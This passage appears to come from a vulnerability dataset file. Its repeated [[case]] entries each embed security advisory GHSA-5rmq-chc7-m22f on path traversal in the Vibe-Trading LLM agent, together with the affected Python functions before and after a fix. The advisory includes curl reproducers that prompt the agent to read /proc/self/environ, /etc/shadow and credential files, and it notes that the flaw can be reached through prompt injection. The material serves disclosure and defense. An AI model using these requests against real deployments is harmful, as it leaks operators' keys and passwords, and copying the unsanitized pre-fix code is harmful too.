`/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "send_message"
+function_lines = [[1227, 1238]]
+id = "hkuds-vibe-trading-ad7c628e2179fe31"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "async def send_message(session_id: str, payload: SendMessageRequest, http_request: Request):\n \"\"\"Send a user message and start the agent loop (natural language strategy).\"\"\"\n svc = _get_session_service()\n if not svc:\n raise HTTPException(status_code=501, detail=\"Session runtime not enabled\")\n try:\n result = await svc.send_message(\n session_id=session_id,\n content=payload.content,\n include_shell_tools=_shell_tools_enabled_for_request(http_request),\n )\n return result\n except ValueError as exc:\n raise HTTPException(status_code=404, detail=str(exc))\n\n"
+pre_fix = "async def send_message(session_id: str, request: SendMessageRequest):\n \"\"\"Send a user message and start the agent loop (natural language strategy).\"\"\"\n svc = _get_session_service()\n if not svc:\n raise HTTPException(status_code=501, detail=\"Session runtime not enabled\")\n try:\n result = await svc.send_message(session_id=session_id, content=request.content)\n return result\n except ValueError as exc:\n raise HTTPException(status_code=404, detail=str(exc))\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "run_backtest"
+function_lines = [[12, 64]]
+id = "hkuds-vibe-trading-c16e9e336b3428d7"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/backtest_tool.py"
+post_fix = "def run_backtest(run_dir: str) -> str:\n \"\"\"Run backtest: validate config.json + signal_engine.py, invoke built-in engine.\n\n Args:\n run_dir: Path to the run directory.\n\n Returns:\n JSON-formatted execution result.\n \"\"\"\n try:\n run_path = safe_run_dir(run_dir)\n except ValueError as exc:\n return json.dumps({\"status\": \"error\", \"error\": str(exc)}, ensure_ascii=False)\n\n config_path = run_path / \"config.json\"\n if not config_path.exists():\n return json.dumps({\"status\": \"error\", \"error\": \"config.json not found\"}, ensure_ascii=False)\n\n try:\n config = json.loads(config_path.read_text(encoding=\"utf-8\"))\n except json.JSONDecodeError as e:\n return json.dumps({\"status\": \"error\", \"error\": f\"config.json parse error: {e}\"}, ensure_ascii=False)\n\n if \"source\" not in config:\n return json.dumps({\"status\": \"error\", \"error\": \"config.json missing 'source' field (tushare/okx/yfinance)\"}, ensure_ascii=False)\n\n valid_sources = {\"tushare\", \"okx\", \"yfinance\", \"akshare\", \"ccxt\", \"auto\"}\n if config[\"source\"] not in valid_sources:\n return json.dumps({\"status\": \"error\", \"error\": f\"source must be one of {valid_sources}, got: {config['source']}\"}, ensure_ascii=False)\n\n signal_path = run_path / \"code\" / \"signal_engine.py\"\n if not signal_path.exists():\n return json.dumps({\"status\": \"error\", \"error\": \"code/signal_engine.py not found\"}, ensure_ascii=False)\n\n agent_root = Path(__file__).resolve().parents[2]\n entry_script = agent_root / \"backtest\" / \"runner.py\"\n\n runner = Runner(timeout=300)\n result = runner.execute(\n entry_script,\n run_path,\n cwd=agent_root,\n cli_args=[str(run_path)],\n )\n\n artifacts_found = {name: str(path) for name, path in result.artifacts.items()}\n return json.dumps({\n \"status\": \"ok\" if result.success else \"error\",\n \"exit_code\": result.exit_code,\n \"stdout\": result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout,\n \"stderr\": result.stderr[-2000:] if len(result.stderr) > 2000 else result.stderr,\n \"artifacts\": artifacts_found,\n \"run_dir\": run_dir,\n }, ensure_ascii=False)\n\n"
+pre_fix = "def run_backtest(run_dir: str) -> str:\n \"\"\"Run backtest: validate config.json + signal_engine.py, invoke built-in engine.\n\n Args:\n run_dir: Path to the run directory.\n\n Returns:\n JSON-formatted execution result.\n \"\"\"\n run_path = Path(run_dir)\n\n config_path = run_path / \"config.json\"\n if not config_path.exists():\n return json.dumps({\"status\": \"error\", \"error\": \"config.json not found\"}, ensure_ascii=False)\n\n try:\n config = json.loads(config_path.read_text(encoding=\"utf-8\"))\n except json.JSONDecodeError as e:\n return json.dumps({\"status\": \"error\", \"error\": f\"config.json parse error: {e}\"}, ensure_ascii=False)\n\n if \"source\" not in config:\n return json.dumps({\"status\": \"error\", \"error\": \"config.json missing 'source' field (tushare/okx/yfinance)\"}, ensure_ascii=False)\n\n valid_sources = {\"tushare\", \"okx\", \"yfinance\", \"akshare\", \"ccxt\", \"auto\"}\n if config[\"source\"] not in valid_sources:\n return json.dumps({\"status\": \"error\", \"error\": f\"source must be one of {valid_sources}, got: {config['source']}\"}, ensure_ascii=False)\n\n signal_path = run_path / \"code\" / \"signal_engine.py\"\n if not signal_path.exists():\n return json.dumps({\"status\": \"error\", \"error\": \"code/signal_engine.py not found\"}, ensure_ascii=False)\n\n agent_root = Path(__file__).resolve().parents[2]\n entry_script = agent_root / \"backtest\" / \"runner.py\"\n\n runner = Runner(timeout=300)\n result = runner.execute(\n entry_script,\n run_path,\n cwd=agent_root,\n cli_args=[str(run_path)],\n )\n\n artifacts_found = {name: str(path) for name, path in result.artifacts.items()}\n return json.dumps({\n \"status\": \"ok\" if result.success else \"error\",\n \"exit_code\": result.exit_code,\n \"stdout\": result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout,\n \"stderr\": result.stderr[-2000:] if len(result.stderr) > 2000 else result.stderr,\n \"artifacts\": artifacts_found,\n \"run_dir\": run_dir,\n }, ensure_ascii=False)\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "run_pattern"
+function_lines = [[305, 342]]
+id = "hkuds-vibe-trading-c504e5fd82839ef8"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/pattern_tool.py"
+post_fix = "def run_pattern(run_dir: str, patterns: str = \"all\", window: int = 10) -> str:\n \"\"\"Run chart pattern detection on OHLCV data in run_dir.\n\n Args:\n run_dir: Path to the run directory.\n patterns: Comma-separated pattern names or \"all\".\n window: Detection window size.\n\n Returns:\n JSON-formatted detection results.\n \"\"\"\n try:\n run_path = safe_run_dir(run_dir)\n except ValueError as exc:\n return json.dumps({\"status\": \"error\", \"error\": str(exc)}, ensure_ascii=False)\n\n arts = run_path / \"artifacts\"\n ohlcv_files = list(arts.glob(\"ohlcv_*.csv\"))\n if not ohlcv_files:\n return json.dumps({\"status\": \"error\", \"error\": \"No OHLCV data found; run backtest first\"}, ensure_ascii=False)\n\n if patterns == \"all\":\n selected = list(_PATTERN_FUNCS.keys())\n else:\n selected = [p.strip() for p in patterns.split(\",\") if p.strip() in _PATTERN_FUNCS]\n if not selected:\n return json.dumps({\"status\": \"error\", \"error\": f\"Invalid pattern name(s). Available: {', '.join(_PATTERN_FUNCS.keys())}\"}, ensure_ascii=False)\n\n results: Dict[str, Any] = {}\n for f in ohlcv_files:\n code = f.stem.replace(\"ohlcv_\", \"\")\n df = pd.read_csv(f, index_col=0, parse_dates=True)\n if df.empty:\n continue\n code_results: Dict[str, Any] = {}\n for pattern_name in selected:\n func = _PATTERN_FUNCS[pattern_name]\n code_results[pattern_name] = func(df, window)\n results[code] = code_results\n\n return json.dumps({\"status\": \"ok\", \"results\": results, \"patterns\": selected, \"window\": window}, ensure_ascii=False, default=str)\n\n"
+pre_fix = "def run_pattern(run_dir: str, patterns: str = \"all\", window: int = 10) -> str:\n \"\"\"Run chart pattern detection on OHLCV data in run_dir.\n\n Args:\n run_dir: Path to the run directory.\n patterns: Comma-separated pattern names or \"all\".\n window: Detection window size.\n\n Returns:\n JSON-formatted detection results.\n \"\"\"\n arts = Path(run_dir) / \"artifacts\"\n ohlcv_files = list(arts.glob(\"ohlcv_*.csv\"))\n if not ohlcv_files:\n return json.dumps({\"status\": \"error\", \"error\": \"No OHLCV data found; run backtest first\"}, ensure_ascii=False)\n\n if patterns == \"all\":\n selected = list(_PATTERN_FUNCS.keys())\n else:\n selected = [p.strip() for p in patterns.split(\",\") if p.strip() in _PATTERN_FUNCS]\n if not selected:\n return json.dumps({\"status\": \"error\", \"error\": f\"Invalid pattern name(s). Available: {', '.join(_PATTERN_FUNCS.keys())}\"}, ensure_ascii=False)\n\n results: Dict[str, Any] = {}\n for f in ohlcv_files:\n code = f.stem.replace(\"ohlcv_\", \"\")\n df = pd.read_csv(f, index_col=0, parse_dates=True)\n if df.empty:\n continue\n code_results: Dict[str, Any] = {}\n for pattern_name in selected:\n func = _PATTERN_FUNCS[pattern_name]\n code_results[pattern_name] = func(df, window)\n results[code] = code_results\n\n return json.dumps({\"status\": \"ok\", \"results\": results, \"patterns\": selected, \"window\": window}, ensure_ascii=False, default=str)\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the 